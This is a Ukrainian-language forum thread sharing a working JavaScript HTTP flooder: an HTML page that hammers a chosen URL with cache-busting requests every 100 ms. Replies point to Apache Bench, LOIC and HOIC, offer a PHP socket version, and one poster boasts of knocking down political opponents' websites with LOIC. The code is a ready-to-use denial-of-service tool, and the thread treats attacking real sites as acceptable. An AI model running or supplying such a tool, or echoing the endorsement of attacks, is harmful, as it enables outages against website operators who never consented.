1

Тема: HTTP флудер на JS

Писав для себе,коли тестував свій невеличкий антиDoS.
Робить підключення з інтервалом в 100 мсек. (можете змінити в коді)
Тримайте,можливо комусь знадобиться..
Адрес сайту вводити так: http://test.com/ (слеш в кінці обовязковий)

<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<title>DoS JS</title>
</head>
<body>
Адрес сайту:
<br>
<input type="url" placeholder="http://test.com/" id="url">
<br>
Кількість запитів: 
<div id="getCount"></div>
<input type="range" min="10" max="10000" id="setCount">
<br>
<input type="button" id="connect" value="Почати">
Відправлено: <span id="OK">0</span>
<form method="POST"><input type="submit" value="Зупинити">

<script type="text/javascript">

 setInterval(function()
 {
 var count = document.getElementById("setCount").value;
 document.getElementById("getCount").innerHTML = count;
},500);

 document.getElementById("connect").onclick = function()
 {
 var i = 1;
 var url = document.getElementById("url").value;
 http = new Image();
 var setConnect = setInterval(function()
 {
 http.src = url+"?a="+Math.random()+"&b="+Math.random();
 i++;
 document.getElementById("OK").innerHTML = i;
 var count = document.getElementById("setCount").value;
 if(i == count)
 {
 clearInterval(setConnect);
 alert("Виконано. Відправлено "+i+" запитів!");
 document.getElementById("OK").innerHTML = 0;
 }
 },100);
 }

</script>
</body>
</html>

2

Re: HTTP флудер на JS

Якщо хочете погратись в DoS, то використовуйте класику - утиліту Apache Bench (скорочено - ab), яка призначена для тестування навантаження на сайт. Вона значно функціональніше... та й дуже часто є корисною.

Не знаю як її дістати для Linux, а для Windows вона йде разом в одному пакеті з дистрибутивом самого HTTP-сервера Apache (див. /bin/ab.exe).
Дивитись опції так:
https://1933a544b9b651d3813e8de397efcd5a179e17e8.googledrive.com/host/0Bwk9euTxkxYUOFFUS29tSGJ4eXM/replace.org.ua/img/ab.png

3

Re: HTTP флудер на JS

Коли раніше бавився,то юзав LOIC i HOIC.

Можу викласти ще на PHP  :),на сокетах.

4

Re: HTTP флудер на JS

Якщо довіряєте, і не хоче качати цілий пакет Apache ради маленької утиліти, можете брати її тут (це мій Google Drive)

5

Re: HTTP флудер на JS

Ок,спробую

6

Re: HTTP флудер на JS

Ми в часи євромайдану  валили антимайданівські  сайти за допомогою LOIC тому рекомендую її якщо хтось вагається :)